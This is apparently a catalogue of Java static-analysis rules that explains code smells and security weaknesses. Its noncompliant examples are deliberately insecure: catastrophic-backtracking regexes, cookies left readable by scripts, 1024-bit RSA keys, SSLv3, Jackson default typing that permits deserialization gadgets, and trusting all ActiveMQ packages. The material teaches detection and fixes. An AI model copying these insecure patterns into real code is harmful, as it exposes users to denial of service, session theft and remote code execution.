Evaluating such regular expressions opens the door to Regular expression Denial of Service (ReDoS) attacks. In the context of a web application, attackers can force the web server to spend all of its resources evaluating regular expressions thereby making the service inaccessible to genuine users.

This rule flags any execution of a hardcoded regular expression which has at least 3 characters and at least two instances of any of the following characters: *+{.

Example: (a+)*

Ask Yourself Whether

  • the executed regular expression is sensitive and a user can provide a string which will be analyzed by this regular expression.
  • your regular expression engine performance decrease with specially crafted inputs and regular expressions.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Check whether your regular expression engine (the algorithm executing your regular expression) has any known vulnerabilities. Search for vulnerability reports mentioning the one engine you're are using.

Use if possible a library which is not vulnerable to Redos Attacks such as Google Re2.

Remember also that a ReDos attack is possible if a user-provided regular expression is executed. This rule won't detect this kind of injection.

Sensitive Code Example

import java.util.regex.Pattern;

class BasePattern {
  String regex = "(a+)+b"; // a regular expression
  String input; // a user input

  void foo(CharSequence htmlString) {
    input.matches(regex);  // Sensitive
    Pattern.compile(regex);  // Sensitive
    Pattern.compile(regex, Pattern.CASE_INSENSITIVE);  // Sensitive

    String replacement = "test";
    input.replaceAll(regex, replacement);  // Sensitive
    input.replaceFirst(regex, replacement);  // Sensitive

    if (!Pattern.matches(".*<script>(a+)+b", htmlString)) { // Sensitive
    }
  }
}

This also applies for bean validation, where regexp can be specified:

import java.io.Serializable;
import javax.validation.constraints.Pattern;
import javax.validation.constraints.Email;
import org.hibernate.validator.constraints.URL;

class BeansRegex implements Serializable {
  @Pattern(regexp=".+@(a+)+b")  // Sensitive
  private String email;

  @Email(regexp=".+@(a+)+b")  // Sensitive
  private String email2;

  @URL(regexp="(a+)+b.com") // Sensitive
  private String url;
  // ...
}

Exceptions

Calls to String.split(regex) and String.split(regex, limit) will not raise an exception despite their use of a regular expression. These methods are used most of the time to split on simple regular expressions which don't create any vulnerabilities.

Some corner-case regular expressions will not raise an issue even though they might be vulnerable. For example: (a|aa)+, (a|a?)+.

It is a good idea to test your regular expression if it has the same pattern on both side of a "|".

See

Deprecated

This rule is deprecated; use S5852 instead.

java:S2121

Creating a substring from 0 to the end is silly. You'll end up with the same string you started with. Using the value of String.length as either the start or end of a substring has similarly predictable results.

Calling String.contains with the argument being identical to the String on which contains is invoked doesn't make sense.

Noncompliant Code Example

String speech = "Now is the time for all good people to come to the aid of their country.";

String s1 = speech.substring(0); // Noncompliant. Yields the whole string
String s2 = speech.substring(speech.length()); // Noncompliant. Yields "";
String s3 = speech.substring(5,speech.length()); // Noncompliant. Use the 1-arg version instead

if (speech.contains(speech)) { // Noncompliant
 // always true
}

Compliant Solution

String speech = "Now is the time for all good people to come to the aid of their country.";

String s1 = speech;
String s2 = "";
String s3 = speech.substring(5);
java:S1153

Appending String.valueOf() to a String decreases the code readability.

The argument passed to String.valueOf() should be directly appended instead.

Noncompliant Code Example

public void display(int i){
  System.out.println("Output is " + String.valueOf(i));    // Noncompliant
}

Compliant Solution

public void display(int i){
  System.out.println("Output is " + i);                    // Compliant
}
java:S3330

When a cookie is configured with the HttpOnly attribute set to true, the browser guaranties that no client-side script will be able to read it. In most cases, when a cookie is created, the default value of HttpOnly is false and it's up to the developer to decide whether or not the content of the cookie can be read by the client-side script. As a majority of Cross-Site Scripting (XSS) attacks target the theft of session-cookies, the HttpOnly attribute can help to reduce their impact as it won't be possible to exploit the XSS vulnerability to steal session-cookies.

Ask Yourself Whether

  • the cookie is sensitive, used to authenticate the user, for instance a session-cookie
  • the HttpOnly attribute offer an additional protection (not the case for an XSRF-TOKEN cookie / CSRF token for example)

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • By default the HttpOnly flag should be set to true for most of the cookies and it's mandatory for session / sensitive-security cookies.

Sensitive Code Example

If you create a security-sensitive cookie in your JAVA code:

Cookie c = new Cookie(COOKIENAME, sensitivedata);
c.setHttpOnly(false);  // Sensitive: this sensitive cookie is created with the httponly flag set to false and so it can be stolen easily in case of XSS vulnerability

By default the HttpOnly flag is set to false:

Cookie c = new Cookie(COOKIENAME, sensitivedata);  // Sensitive: this sensitive cookie is created with the httponly flag not defined (by default set to false) and so it can be stolen easily in case of XSS vulnerability

Compliant Solution

Cookie c = new Cookie(COOKIENAME, sensitivedata);
c.setHttpOnly(true); // Compliant: this sensitive cookie is protected against theft (HttpOnly=true)

See

java:S2123

A value that is incremented or decremented and then not stored is at best wasted code and at worst a bug.

Noncompliant Code Example

public int pickNumber() {
  int i = 0;
  int j = 0;

  i = i++; // Noncompliant; i is still zero

  return j++; // Noncompliant; 0 returned
}

Compliant Solution

public int pickNumber() {
  int i = 0;
  int j = 0;

  i++;
  return ++j;
}
java:S1155

Using Collection.size() to test for emptiness works, but using Collection.isEmpty() makes the code more readable and can be more performant. The time complexity of any isEmpty() method implementation should be O(1) whereas some implementations of size() can be O(n).

Noncompliant Code Example

if (myCollection.size() == 0) {  // Noncompliant
  /* ... */
}

Compliant Solution

if (myCollection.isEmpty()) {
  /* ... */
}
java:S5993

Abstract classes should not have public constructors. Constructors of abstract classes can only be called in constructors of their subclasses. So there is no point in making them public. The protected modifier should be enough.

Noncompliant Code Example

public abstract class AbstractClass1 {
    public AbstractClass1 () { // Noncompliant, has public modifier
        // do something here
    }
}

Compliant Solution

public abstract class AbstractClass2 {
    protected AbstractClass2 () {
        // do something here
    }
}
java:S2122

java.util.concurrent.ScheduledThreadPoolExecutor's pool is sized with corePoolSize, so setting corePoolSize to zero means the executor will have no threads and run nothing.

This rule detects instances where corePoolSize is set to zero, via either its setter or the object constructor.

Noncompliant Code Example

public void do(){

  ScheduledThreadPoolExecutor stpe1 = new ScheduledThreadPoolExecutor(0); // Noncompliant

  ScheduledThreadPoolExecutor stpe2 = new ScheduledThreadPoolExecutor(POOL_SIZE);
  stpe2.setCorePoolSize(0);  // Noncompliant
java:S4425

Using Integer.toHexString is a common mistake when converting sequences of bytes into hexadecimal string representations. The problem is that the method trims leading zeroes, which can lead to wrong conversions. For instance a two bytes value of 0x4508 would be converted into 45 and 8 which once concatenated would give 0x458.

This is particularly damaging when converting hash-codes and could lead to a security vulnerability.

This rule raises an issue when Integer.toHexString is used in any kind of string concatenations.

Noncompliant Code Example

MessageDigest md = MessageDigest.getInstance("SHA-256");
byte[] bytes = md.digest(password.getBytes("UTF-8"));

StringBuilder sb = new StringBuilder();
for (byte b : bytes) {
    sb.append(Integer.toHexString( b & 0xFF )); // Noncompliant
}

Compliant Solution

MessageDigest md = MessageDigest.getInstance("SHA-256");
byte[] bytes = md.digest(password.getBytes("UTF-8"));

StringBuilder sb = new StringBuilder();
for (byte b : bytes) {
    sb.append(String.format("%02X", b));
}

See

java:S3577

Shared naming conventions allow teams to collaborate efficiently. This rule raises an issue when a test class name does not match the provided regular expression.

Noncompliant Code Example

With the default value: ^((Test|IT)[a-zA-Z0-9_]+|[A-Z][a-zA-Z0-9_]*(Test|Tests|TestCase|IT|ITCase))$

class Foo {  // Noncompliant
  @Test
  void check() {  }
}

class Bar {  // Noncompliant
  @Nested
  class PositiveCase {
    @Test
    void check() {  }
  }
}

Compliant Solution

class FooTest {
  @Test
  void check() {  }
}

class BarIT {
  @Nested
  class PositiveCase {
    @Test
    void check() {  }
  }
}
java:S1157

Using toLowerCase() or toUpperCase() to make case insensitive comparisons is inefficient because it requires the creation of temporary, intermediate String objects.

Noncompliant Code Example

boolean result1 = foo.toUpperCase().equals(bar);             // Noncompliant
boolean result2 = foo.equals(bar.toUpperCase());             // Noncompliant
boolean result3 = foo.toLowerCase().equals(bar.LowerCase()); // Noncompliant

Compliant Solution

boolean result = foo.equalsIgnoreCase(bar);                  // Compliant

Exceptions

No issue will be raised when a locale is specified because the result could be different from "equalsIgnoreCase". (e.g.: using the Turkish locale)

boolean result1 = foo.toUpperCase(locale).equals(bar);             // Compliant
java:S4426

Most of cryptographic systems require a sufficient key size to be robust against brute-force attacks.

NIST recommendations will be checked for these use-cases:

Digital Signature Generation and Verification:

  • p ≥ 2048 AND q ≥ 224 for DSA (p is key length and q the modulus length)
  • n ≥ 2048 for RSA (n is the key length)

Key Agreement:

  • p ≥ 2048 AND q ≥ 224 for DH and MQV
  • n ≥ 224 for ECDH and ECMQV (Examples: secp192r1 is a non-compliant curve (n < 224) but secp224k1 is compliant (n >= 224))

Symmetric keys:

  • key length ≥ 128 bits

This rule will not raise issues for ciphers that are considered weak (no matter the key size) like DES, Blowfish.

Noncompliant Code Example

KeyPairGenerator keyPairGen1 = KeyPairGenerator.getInstance("RSA");
keyPairGen1.initialize(1024); // Noncompliant

KeyPairGenerator keyPairGen5 = KeyPairGenerator.getInstance("EC");
ECGenParameterSpec ecSpec1 = new ECGenParameterSpec("secp112r1"); // Noncompliant
keyPairGen5.initialize(ecSpec1);

KeyGenerator keyGen1 = KeyGenerator.getInstance("AES");
keyGen1.init(64); // Noncompliant

Compliant Solution

KeyPairGenerator keyPairGen6 = KeyPairGenerator.getInstance("RSA");
keyPairGen6.initialize(2048); // Compliant

KeyPairGenerator keyPairGen5 = KeyPairGenerator.getInstance("EC");
ECGenParameterSpec ecSpec10 = new ECGenParameterSpec("secp224k1"); // compliant
keyPairGen5.initialize(ecSpec10);

KeyGenerator keyGen2 = KeyGenerator.getInstance("AES");
keyGen2.init(128); // Compliant

See

java:S2245

Using pseudorandom number generators (PRNGs) is security-sensitive. For example, it has led in the past to the following vulnerabilities:

When software generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information.

As the java.util.Random class relies on a pseudorandom number generator, this class and relating java.lang.Math.random() method should not be used for security-critical applications or for protecting sensitive data. In such context, the java.security.SecureRandom class which relies on a cryptographically strong random number generator (RNG) should be used in place.

Ask Yourself Whether

  • the code using the generated value requires it to be unpredictable. It is the case for all encryption mechanisms or when a secret value, such as a password, is hashed.
  • the function you use generates a value which can be predicted (pseudo-random).
  • the generated value is used multiple times.
  • an attacker can access the generated value.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Use a cryptographically strong random number generator (RNG) like "java.security.SecureRandom" in place of this PRNG.
  • Use the generated random values only once.
  • You should not expose the generated random value. If you have to store it, make sure that the database or file is secure.

Sensitive Code Example

Random random = new Random(); // Sensitive use of Random
byte bytes[] = new byte[20];
random.nextBytes(bytes); // Check if bytes is used for hashing, encryption, etc...

Compliant Solution

SecureRandom random = new SecureRandom(); // Compliant for security-sensitive use cases
byte bytes[] = new byte[20];
random.nextBytes(bytes);

See

java:S4544

Using unsafe Jackson deserialization configuration is security-sensitive. It has led in the past to the following vulnerabilities:

When Jackson is configured to allow Polymorphic Type Handling (aka PTH), formerly known as Polymorphic Deserialization, "deserialization gadgets" may allow an attacker to perform remote code execution.

This rule raises an issue when:

  • enableDefaultTyping() is called on an instance of com.fasterxml.jackson.databind.ObjectMapper or org.codehaus.jackson.map.ObjectMapper.
  • or when the annotation @JsonTypeInfo is set at class or field levels and configured with use = JsonTypeInfo.Id.CLASS) or use = Id.MINIMAL_CLASS.

Ask Yourself Whether

  • You configured the Jackson deserializer as mentioned above.
  • The serialized data might come from an untrusted source.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Use the latest patch versions of jackson-databind blocking the already discovered "deserialization gadgets".
  • Avoid using the default typing configuration: ObjectMapper.enableDefaultTyping().
  • If possible, use @JsonTypeInfo(use = Id.NAME) instead of @JsonTypeInfo(use = Id.CLASS) or @JsonTypeInfo(use = Id. MINIMAL_CLASS) and so rely on @JsonTypeName and @JsonSubTypes.

Sensitive Code Example

ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(); // Sensitive
@JsonTypeInfo(use = Id.CLASS) // Sensitive
abstract class PhoneNumber {
}

See

java:S2127

Double.longBitsToDouble expects a 64-bit, long argument. Pass it a smaller value, such as an int and the mathematical conversion into a double simply won't work as anticipated because the layout of the bits will be interpreted incorrectly, as if a child were trying to use an adult's gloves.

Noncompliant Code Example

int i = 42;
double d = Double.longBitsToDouble(i);  // Noncompliant
java:S1158

Creating temporary primitive wrapper objects only for String conversion or the use of the compareTo method is inefficient.

Instead, the static toString() or compare method of the primitive wrapper class should be used.

Noncompliant Code Example

new Integer(myInteger).toString();  // Noncompliant

Compliant Solution

Integer.toString(myInteger);        // Compliant
java:S4423

javax.net.ssl.SSLContext.getInstance returns a SSLContext object that implements the specified secure socket protocol. However, older protocol versions like "SSLv3" have been proven to be insecure.

This rule raises an issue when an SSLContext is created with an insecure protocol version(ie: a protocol different from "TLS", "DTLS", "TLSv1.2", "DTLSv1.2", "TLSv1.3", "DTLSv1.3").

The recommended value is "TLS" or "DTLS" as it will always use the latest version of the protocol. However an issue will be raised if the bytecode was compiled with JDK7 or an even older version of JDK because they are not alias for TLSv1.2 and DTLSv1.2 but for weaker protocols.

Note that calling SSLContext.getInstance(...) with "TLSv1.2" or "DTLSv1.2" doesn't prevent protocol version negotiation. For example, if a client connects with "TLSv1.1" and the server used SSLContext.getInstance("TLSv1.2"), the connection will use "TLSv1.1". It is possible to enable only specific protocol versions by calling setEnabledProtocols on SSLSocket, SSLServerSocket or SSLEngine. However this should be rarely needed as clients usually ask for the most secure protocol supported.

Noncompliant Code Example

context = SSLContext.getInstance("SSLv3"); // Noncompliant

Compliant Solution

context = SSLContext.getInstance("TLSv1.2");

See

java:S4787

Encrypting data is security-sensitive. It has led in the past to the following vulnerabilities:

Proper encryption requires both the encryption algorithm and the key to be strong. Obviously the private key needs to remain secret and be renewed regularly. However these are not the only means to defeat or weaken an encryption.

This rule flags function calls that initiate encryption/decryption.

Ask Yourself Whether

  • the private key might not be random, strong enough or the same key is reused for a long long time.
  • the private key might be compromised. It can happen when it is stored in an unsafe place or when it was transferred in an unsafe manner.
  • the key exchange is made without properly authenticating the receiver.
  • the encryption algorithm is not strong enough for the level of protection required. Note that encryption algorithms strength decreases as time passes.
  • the chosen encryption library is deemed unsafe.
  • a nonce is used, and the same value is reused multiple times, or the nonce is not random.
  • the RSA algorithm is used, and it does not incorporate an Optimal Asymmetric Encryption Padding (OAEP), which might weaken the encryption.
  • the CBC (Cypher Block Chaining) algorithm is used for encryption, and it's IV (Initialization Vector) is not generated using a secure random algorithm, or it is reused.
  • the Advanced Encryption Standard (AES) encryption algorithm is used with an unsecure mode. See the recommended practices for more information.

You are at risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Generate encryption keys using secure random algorithms.
  • When generating cryptographic keys (or key pairs), it is important to use a key length that provides enough entropy against brute-force attacks. For the Blowfish algorithm the key should be at least 128 bits long, while for the RSA algorithm it should be at least 2048 bits long.
  • Regenerate the keys regularly.
  • Always store the keys in a safe location and transfer them only over safe channels.
  • If there is an exchange of cryptographic keys, check first the identity of the receiver.
  • Only use strong encryption algorithms. Check regularly that the algorithm is still deemed secure. It is also imperative that they are implemented correctly. Use only encryption libraries which are deemed secure. Do not define your own encryption algorithms as they will most probably have flaws.
  • When a nonce is used, generate it randomly every time.
  • When using the RSA algorithm, incorporate an Optimal Asymmetric Encryption Padding (OAEP).
  • When CBC is used for encryption, the IV must be random and unpredictable. Otherwise it exposes the encrypted value to crypto-analysis attacks like "Chosen-Plaintext Attacks". Thus a secure random algorithm should be used. An IV value should be associated to one and only one encryption cycle, because the IV's purpose is to ensure that the same plaintext encrypted twice will yield two different ciphertexts.
  • The Advanced Encryption Standard (AES) encryption algorithm can be used with various modes. Galois/Counter Mode (GCM) with no padding should be preferred to the following combinations which are not secured:
    • Electronic Codebook (ECB) mode: Under a given key, any given plaintext block always gets encrypted to the same ciphertext block. Thus, it does not hide data patterns well. In some senses, it doesn't provide serious message confidentiality, and it is not recommended for use in cryptographic protocols at all.
    • Cipher Block Chaining (CBC) with PKCS#5 padding (or PKCS#7) is susceptible to padding oracle attacks.

Sensitive Code Example

// === javax.crypto ===
import javax.crypto.Cipher;
Cipher c = Cipher.getInstance(...);  // Sensitive

// === apache.commons.crypto ===
import java.util.Properties;
import org.apache.commons.crypto.utils.Utils;
import org.apache.commons.crypto.cipher.CryptoCipherFactory;
import org.apache.commons.crypto.cipher.CryptoCipherFactory.CipherProvider;

Properties properties = new Properties();
properties.setProperty(CryptoCipherFactory.CLASSES_KEY, CipherProvider.OPENSSL.getClassName());
final String transform = "AES/CBC/PKCS5Padding";
Utils.getCipherInstance(transform, properties);  // Sensitive

See

Deprecated

This rule is deprecated, and will eventually be removed.

java:S3457

Because printf-style format strings are interpreted at runtime, rather than validated by the compiler, they can contain errors that result in the wrong strings being created. This rule statically validates the correlation of printf-style format strings to their arguments when calling the format(...) methods of java.util.Formatter, java.lang.String, java.io.PrintStream, MessageFormat, and java.io.PrintWriter classes and the printf(...) methods of java.io.PrintStream or java.io.PrintWriter classes.

Noncompliant Code Example

String.format("First {0} and then {1}", "foo", "bar");  //Noncompliant. Looks like there is a confusion with the use of {{java.text.MessageFormat}}, parameters "foo" and "bar" will be simply ignored here
String.format("Display %3$d and then %d", 1, 2, 3);   //Noncompliant; the second argument '2' is unused
String.format("Too many arguments %d and %d", 1, 2, 3);  //Noncompliant; the third argument '3' is unused
String.format("First Line\n");   //Noncompliant; %n should be used in place of \n to produce the platform-specific line separator
String.format("Is myObject null ? %b", myObject);   //Noncompliant; when a non-boolean argument is formatted with %b, it prints true for any nonnull value, and false for null. Even if intended, this is misleading. It's better to directly inject the boolean value (myObject == null in this case)
String.format("value is " + value); // Noncompliant
String s = String.format("string without arguments"); // Noncompliant

MessageFormat.format("Result '{0}'.", value); // Noncompliant; String contains no format specifiers. (quote are discarding format specifiers)
MessageFormat.format("Result {0}.", value, value);  // Noncompliant; 2nd argument is not used
MessageFormat.format("Result {0}.", myObject.toString()); // Noncompliant; no need to call toString() on objects

java.util.Logger logger;
logger.log(java.util.logging.Level.SEVERE, "Result {0}.", myObject.toString()); // Noncompliant; no need to call toString() on objects
logger.log(java.util.logging.Level.SEVERE, "Result.", new Exception()); // compliant, parameter is an exception
logger.log(java.util.logging.Level.SEVERE, "Result '{0}'", 14); // Noncompliant - String contains no format specifiers.
logger.log(java.util.logging.Level.SEVERE, "Result " + param, exception); // Noncompliant; Lambda should be used to differ string concatenation.

org.slf4j.Logger slf4jLog;
org.slf4j.Marker marker;

slf4jLog.debug(marker, "message {}");
slf4jLog.debug(marker, "message", 1); // Noncompliant - String contains no format specifiers.

org.apache.logging.log4j.Logger log4jLog;
log4jLog.debug("message", 1); // Noncompliant - String contains no format specifiers.

Compliant Solution

String.format("First %s and then %s", "foo", "bar");
String.format("Display %2$d and then %d", 1, 3);
String.format("Too many arguments %d %d", 1, 2);
String.format("First Line%n");
String.format("Is myObject null ? %b", myObject == null);
String.format("value is %d", value);
String s = "string without arguments";

MessageFormat.format("Result {0}.", value);
MessageFormat.format("Result '{0}'  =  {0}", value);
MessageFormat.format("Result {0}.", myObject);

java.util.Logger logger;
logger.log(java.util.logging.Level.SEVERE, "Result {0}.", myObject);
logger.log(java.util.logging.Level.SEVERE, "Result {0}'", 14);
logger.log(java.util.logging.Level.SEVERE, exception, () -> "Result " + param);

org.slf4j.Logger slf4jLog;
org.slf4j.Marker marker;

slf4jLog.debug(marker, "message {}");
slf4jLog.debug(marker, "message {}", 1);

org.apache.logging.log4j.Logger log4jLog;
log4jLog.debug("message {}", 1);

See

java:S5876

Session fixation attacks occur when an attacker can force a legitimate user to use a session ID that he knows. To avoid fixation attacks, it's a good practice to generate a new session each time a user authenticates and deletes/invalidates the existing session (the one possibly known by the attacker).

Noncompliant Code Example

In a Spring Security's context, session fixation protection is enabled by default but can be disabled with sessionFixation().none() method:

@Override
protected void configure(HttpSecurity http) throws Exception {
   http.sessionManagement()
     .sessionFixation().none(); // Noncompliant: the existing session will continue
}

Compliant Solution

In a Spring Security's context, session fixation protection can be enabled as follows:

@Override
protected void configure(HttpSecurity http) throws Exception {
  http.sessionManagement()
     .sessionFixation().newSession(); // Compliant: a new session is created without any of the attributes from the old session being copied over

  // or

  http.sessionManagement()
     .sessionFixation().migrateSession(); // Compliant: a new session is created, the old one is invalidated and the attributes from the old session are copied over.
}

See

java:S3578

Shared naming conventions allow teams to collaborate efficiently. This rule raises an issue when a test method name does not match the provided regular expression.

Noncompliant Code Example

With the default value: ^test[A-Z][a-zA-Z0-9]*$

@Test
public void foo() {  // Noncompliant
  //...
}

Compliant Solution

@Test
public void testFoo() {
  // ...
}
java:S2390

When a parent class references a member of a subclass during its own initialization, the results might not be what you expect because the child class might not have been initialized yet. This could create what is known as an "initialisation cycle", or even a deadlock in some extreme cases.

To make things worse, these issues are very hard to diagnose so it is highly recommended you avoid creating this kind of dependencies.

Noncompliant Code Example

class Parent {
  static int field1 = Child.method(); // Noncompliant
  static int field2 = 42;

  public static void main(String[] args) {
    System.out.println(Parent.field1); // will display "0" instead of "42"
  }
}

class Child extends Parent {
  static int method() {
    return Parent.field2;
  }
}

See

java:S1181

Throwable is the superclass of all errors and exceptions in Java. Error is the superclass of all errors, which are not meant to be caught by applications.

Catching either Throwable or Error will also catch OutOfMemoryError and InternalError, from which an application should not attempt to recover.

Noncompliant Code Example

try { /* ... */ } catch (Throwable t) { /* ... */ }
try { /* ... */ } catch (Error e) { /* ... */ }

Compliant Solution

try { /* ... */ } catch (RuntimeException e) { /* ... */ }
try { /* ... */ } catch (MyException e) { /* ... */ }

See

java:S1182

Cloneable is the marker Interface that indicates that clone() may be called on an object. Overriding clone() without implementing Cloneable can be useful if you want to control how subclasses clone themselves, but otherwise, it's probably a mistake.

The usual convention for Object.clone() according to Oracle's Javadoc is:

  1. x.clone() != x
  2. x.clone().getClass() == x.getClass()
  3. x.clone().equals\(x\)

Obtaining the object that will be returned by calling super.clone() helps to satisfy those invariants:

  1. super.clone() returns a new object instance
  2. super.clone() returns an object of the same type as the one clone() was called on
  3. Object.clone() performs a shallow copy of the object's state

Noncompliant Code Example

class BaseClass {  // Noncompliant; should implement Cloneable
  @Override
  public Object clone() throws CloneNotSupportedException {    // Noncompliant; should return the super.clone() instance
    return new BaseClass();
  }
}

class DerivedClass extends BaseClass implements Cloneable {
  /* Does not override clone() */

  public void sayHello() {
    System.out.println("Hello, world!");
  }
}

class Application {
  public static void main(String[] args) throws Exception {
    DerivedClass instance = new DerivedClass();
    ((DerivedClass) instance.clone()).sayHello();              // Throws a ClassCastException because invariant #2 is violated
  }
}

Compliant Solution

class BaseClass implements Cloneable {
  @Override
  public Object clone() throws CloneNotSupportedException {    // Compliant
    return super.clone();
  }
}

class DerivedClass extends BaseClass implements Cloneable {
  /* Does not override clone() */

  public void sayHello() {
    System.out.println("Hello, world!");
  }
}

class Application {
  public static void main(String[] args) throws Exception {
    DerivedClass instance = new DerivedClass();
    ((DerivedClass) instance.clone()).sayHello();              // Displays "Hello, world!" as expected. Invariant #2 is satisfied
  }
}

See

java:S2391

If the suite method in a JUnit 3 TestCase is not declared correctly, it will not be used. Such a method must be named "suite", have no arguments, be public static, and must return either a junit.framework.Test or a junit.framework.TestSuite.

Similarly, setUp and tearDown methods that aren't properly capitalized will also be ignored.

Noncompliant Code Example

Test suite() { ... } // Noncompliant; must be public static
public static boolean suite() { ... } // Noncompliant; wrong return type
public static Test suit() { ... } // Noncompliant; typo in method name
public static Test suite(int count) { ... } // Noncompliant; must be no-arg

public void setup() { ... } // Noncompliant; should be setUp
public void tearDwon() { ... } // Noncompliant; should be tearDown

Compliant Solution

public static Test suite() { ... }
public void setUp() { ... }
public void tearDown() { ... }

Deprecated

This rule is deprecated, and will eventually be removed.

java:S2273

By contract, the method Object.wait(...), Object.notify() and Object.notifyAll() should be called by a thread that is the owner of the object's monitor. If this is not the case an IllegalMonitorStateException exception is thrown. This rule reinforces this constraint by making it mandatory to call one of these methods only inside a synchronized method or statement.

Noncompliant Code Example

private void removeElement() {
  while (!suitableCondition()){
    obj.wait();
  }
  ... // Perform removal
}

or

private void removeElement() {
  while (!suitableCondition()){
    wait();
  }
  ... // Perform removal
}

Compliant Solution

private void removeElement() {
  synchronized(obj) {
    while (!suitableCondition()){
      obj.wait();
    }
    ... // Perform removal
  }
}

or

private synchronized void removeElement() {
  while (!suitableCondition()){
    wait();
  }
  ... // Perform removal
}
java:S2272

By contract, any implementation of the java.util.Iterator.next() method should throw a NoSuchElementException exception when the iteration has no more elements. Any other behavior when the iteration is done could lead to unexpected behavior for users of this Iterator.

Noncompliant Code Example

public class MyIterator implements Iterator<String>{
  ...
  public String next(){
    if(!hasNext()){
      return null;
    }
    ...
  }
}

Compliant Solution

public class MyIterator implements Iterator<String>{
  ...
  public String next(){
    if(!hasNext()){
      throw new NoSuchElementException();
    }
    ...
  }
}
java:S2151

Running finalizers on JVM exit is disabled by default. It can be enabled with System.runFinalizersOnExit and Runtime.runFinalizersOnExit, but both methods are deprecated because they are are inherently unsafe.

According to the Oracle Javadoc:

It may result in finalizers being called on live objects while other threads are concurrently manipulating those objects, resulting in erratic behavior or deadlock.

If you really want to be execute something when the virtual machine begins its shutdown sequence, you should attach a shutdown hook.

Noncompliant Code Example

public static void main(String [] args) {
  ...
  System.runFinalizersOnExit(true);  // Noncompliant
  ...
}

protected void finalize(){
  doSomething();
}

Compliant Solution

public static void main(String [] args) {
  Runtime.addShutdownHook(new Runnable() {
    public void run(){
      doSomething();
    }
  });
  //...

See

java:S3008

Shared naming conventions allow teams to collaborate efficiently. This rule checks that static non-final field names match a provided regular expression.

Noncompliant Code Example

With the default regular expression ^[a-z][a-zA-Z0-9]*$:

public final class MyClass {
   private static String foo_bar;
}

Compliant Solution

class MyClass {
   private static String fooBar;
}
java:S4454

By contract, the equals(Object) method, from java.lang.Object, should accept a null argument. Among all the other cases, the null case is even explicitly detailed in the Object.equals(...) Javadoc, stating "_For any non-null reference value x, x.equals(null) should return false._"

Assuming that the argument to equals is always non-null, and enforcing that assumption with an annotation is not only a fundamental violation of the contract of equals, but it is also likely to cause problems in the future as the use of the class evolves over time.

The rule raises an issue when the equals method is overridden and its parameter annotated with any kind of @Nonnull annotation.

Noncompliant Code Example

public boolean equals(@javax.annotation.Nonnull Object obj) { // Noncompliant
  // ...
}

Compliant Solution

public boolean equals(Object obj) {
  if (obj == null) {
    return false;
  }
  // ...
}
java:S1185

Overriding a method just to call the same method from the super class without performing any other actions is useless and misleading. The only time this is justified is in final overriding methods, where the effect is to lock in the parent class behavior. This rule ignores such overrides of equals, hashCode and toString.

Noncompliant Code Example

public void doSomething() {
  super.doSomething();
}

@Override
public boolean isLegal(Action action) {
  return super.isLegal(action);
}

Compliant Solution

@Override
public boolean isLegal(Action action) {         // Compliant - not simply forwarding the call
  return super.isLegal(new Action(/* ... */));
}

@Id
@Override
public int getId() {                            // Compliant - there is annotation different from @Override
  return super.getId();
}
java:S2154

If wrapped primitive values (e.g. Integers and Floats) are used in a ternary operator (e.g. a?b:c), both values will be unboxed and coerced to a common type, potentially leading to unexpected results. To avoid this, add an explicit cast to a compatible type.

Noncompliant Code Example

Integer i = 123456789;
Float f = 1.0f;
Number n = condition ? i : f;  // Noncompliant; i is coerced to float. n = 1.23456792E8

Compliant Solution

Integer i = 123456789;
Float f = 1.0f;
Number n = condition ? (Number) i : f;  // n = 123456789
java:S2275

Because printf-style format strings are interpreted at runtime, rather than validated by the Java compiler, they can contain errors that lead to unexpected behavior or runtime errors. This rule statically validates the good behavior of printf-style formats when calling the format(...) methods of java.util.Formatter, java.lang.String, java.io.PrintStream, MessageFormat, and java.io.PrintWriter classes and the printf(...) methods of java.io.PrintStream or java.io.PrintWriter classes.

Noncompliant Code Example

String.format("The value of my integer is %d", "Hello World");  // Noncompliant; an 'int' is expected rather than a String
String.format("Duke's Birthday year is %tX", c);  //Noncompliant; X is not a supported time conversion character
String.format("Display %0$d and then %d", 1);   //Noncompliant; arguments are numbered starting from 1
String.format("Not enough arguments %d and %d", 1);  //Noncompliant; the second argument is missing
String.format("%< is equals to %d", 2);   //Noncompliant; the argument index '<' refers to the previous format specifier but there isn't one

MessageFormat.format("Result {1}.", value); // Noncompliant; Not enough arguments. (first element is {0})
MessageFormat.format("Result {{0}.", value); // Noncompliant; Unbalanced number of curly brace (single curly braces should be escaped)
MessageFormat.format("Result ' {0}", value); // Noncompliant; Unbalanced number of quotes (single quote must be escaped)

java.util.logging.Logger logger;
logger.log(java.util.logging.Level.SEVERE, "Result {1}!", 14); // Noncompliant - Not enough arguments.

org.slf4j.Logger slf4jLog;
org.slf4j.Marker marker;

slf4jLog.debug(marker, "message {}"); // Noncompliant - Not enough arguments.

org.apache.logging.log4j.Logger log4jLog;
log4jLog.debug("message {}"); // Noncompliant - Not enough arguments.

Compliant Solution

String.format("The value of my integer is %d", 3);
String.format("Duke's Birthday year is %tY", c);
String.format("Display %1$d and then %d", 1);
String.format("Not enough arguments %d and %d", 1, 2);
String.format("%d is equals to %<", 2);

MessageFormat.format("Result {0}.", value);
MessageFormat.format("Result {0} & {1}.", value, value);
MessageFormat.format("Result {0}.", myObject);

java.util.logging.Logger logger;
logger.log(java.util.logging.Level.SEVERE, "Result {1},{2}!", 14, 2);

org.slf4j.Logger slf4jLog;
org.slf4j.Marker marker;

slf4jLog.debug(marker, "message {}", 1);

org.apache.logging.log4j.Logger log4jLog;
log4jLog.debug("message {}", 1);

See

java:S5301

ActiveMQ can send/receive JMS Object messages (named ObjectMessage in ActiveMQ context) to comply with JMS specification. Internally, ActiveMQ relies on Java serialization mechanism for marshaling/unmashaling of the message payload. Deserialization based on data supplied by the user could lead to remote code execution attacks, where the structure of the serialized data is changed to modify the behavior of the object being unserialized.

To limit the risk to be victim of such attack, ActiveMQ 5.12.2+ enforces developers to explicitly whitelist packages that can be exchanged using ObjectMessages.

Noncompliant Code Example

ActiveMQConnectionFactory factory = new ActiveMQConnectionFactory("tcp://localhost:61616");
factory.setTrustAllPackages(true); // Noncompliant

